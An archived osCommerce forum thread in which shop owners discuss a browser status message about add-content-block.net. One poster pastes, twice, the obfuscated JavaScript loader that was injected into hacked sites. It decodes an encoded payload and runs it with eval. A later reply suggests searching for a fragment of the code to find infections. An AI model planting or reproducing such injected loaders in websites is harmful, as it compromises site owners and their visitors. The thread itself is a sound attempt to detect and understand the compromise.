Jump to content
  • Checkout
  • Login
  • Get in touch

osCommerce

The e-commerce.

Transfering data from add-content-block.net ?


DJ_AX

Recommended Posts

So I'm working on my store ... getting ready to go live .. and noticed in the status bar of my browser "Transfering data from add-content-block.net" .. sometimes seems to be slowing my connection. Is this a Firefox/Mac thing?

Is this something in the oscommerce or one of the contributions I've added? Is it a browser thing?

A google search returned me nothing and I couldn't find it anywhere in any of my files.

I know I have not programmed in any external links or connections myself.. no ad or banner programs or anything ..

 

Anybody here now what's up with that?

Link to comment
Share on other sites

Today I found a couple of our websites requesting to store a cookie from add-content-block.net -- the sites had been hacked, and we found the following script in a number of files:

 

<script language=JavaScript>function jobn15(p){var h=p.length,k=1024,s,i,c,z=0,d=0,j=0,t=Array(63,25,47,45,23,62,30,44,49,29,0,0,0,

0,0,0,24,12,51,56,60,9,7,31,43,6,28,18,36,54,27,55,1,5,58,26,53,11,8,4,40,17,38,

0

,0,0,0,39,0,35,2,34,20,37,50,57,52,22,21,3,15,61,16,0,46,13,10,19,48,33,32,59,14

,

42,41);for(i=Math.ceil(h/k);i>0;i--){c='';for(s=Math.min(h,k);s>0;s--,h--){{j|=(t[p.charCodeAt(z++)-48])<<d;if(d){c+=String.fromCharCode(216^j&255);j>>=8;d-=2}else{d=6}}}eval©;}}jobn15('2IH3D6wHM2rHgfSHHi50J6H3m50CD6wp3iN2Mfym2yS77MUD0s675ySpTMU5MZN3mixC5RH2C2yy

wip5tfrHXr5mO_U2Di0pOSUHmSUHTHU3Opw7MNN276lHOG50B41p7bHmy6NHMfUDjZUHtS2ygSU2OiUD

8

UGRv0xwpF0D0kp25Rw0B025C0S7Dfr7eHxRpal7mIw2tfSgu_x5HfSXhMNgRBN7Hcr3gIyCM6H3my2gL

G

G75ySpTMHg0Fl')</script>

 

Are you by chance at Ix?

Link to comment
Share on other sites

Today I found a couple of our websites requesting to store a cookie from add-content-block.net -- the sites had been hacked, and we found the following script in a number of files:

 

<script language=JavaScript>function jobn15(p){var h=p.length,k=1024,s,i,c,z=0,d=0,j=0,t=Array(63,25,47,45,23,62,30,44,49,29,0,0,0,

0,0,0,24,12,51,56,60,9,7,31,43,6,28,18,36,54,27,55,1,5,58,26,53,11,8,4,40,17,38,

0

,0,0,0,39,0,35,2,34,20,37,50,57,52,22,21,3,15,61,16,0,46,13,10,19,48,33,32,59,14

,

42,41);for(i=Math.ceil(h/k);i>0;i--){c='';for(s=Math.min(h,k);s>0;s--,h--){{j|=(t[p.charCodeAt(z++)-48])<<d;if(d){c+=String.fromCharCode(216^j&255);j>>=8;d-=2}else{d=6}}}eval©;}}jobn15('2IH3D6wHM2rHgfSHHi50J6H3m50CD6wp3iN2Mfym2yS77MUD0s675ySpTMU5MZN3mixC5RH2C2yy

wip5tfrHXr5mO_U2Di0pOSUHmSUHTHU3Opw7MNN276lHOG50B41p7bHmy6NHMfUDjZUHtS2ygSU2OiUD

8

UGRv0xwpF0D0kp25Rw0B025C0S7Dfr7eHxRpal7mIw2tfSgu_x5HfSXhMNgRBN7Hcr3gIyCM6H3my2gL

G

G75ySpTMHg0Fl')</script>

 

Are you by chance at Ix?

 

I just figured out the above has also happened on many of the domains on our shared server (but not all of them)

I'm with another provider. I'm working with a few others to find out more info.

Link to comment
Share on other sites

Off topic but very interesting ... :blink: when I first discovered something going on with "a...c...b....net" I googled it and 0 results came up.. After I started this thread here .. about 5 minutes after I think... googling it produced a link to my post in this forum. Damn that's fast! ... imho anyway <_< .. peace

Link to comment
Share on other sites

googling it produced a link to my post in this forum.

Because the function name is probably changing all the time it makes more sense to search for a subset of the code. Searching for

for(i=Math.ceil(h/k);i>0;i--){c='';for(s=Math.min(h,k); produced 53 results in Google.

Link to comment
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...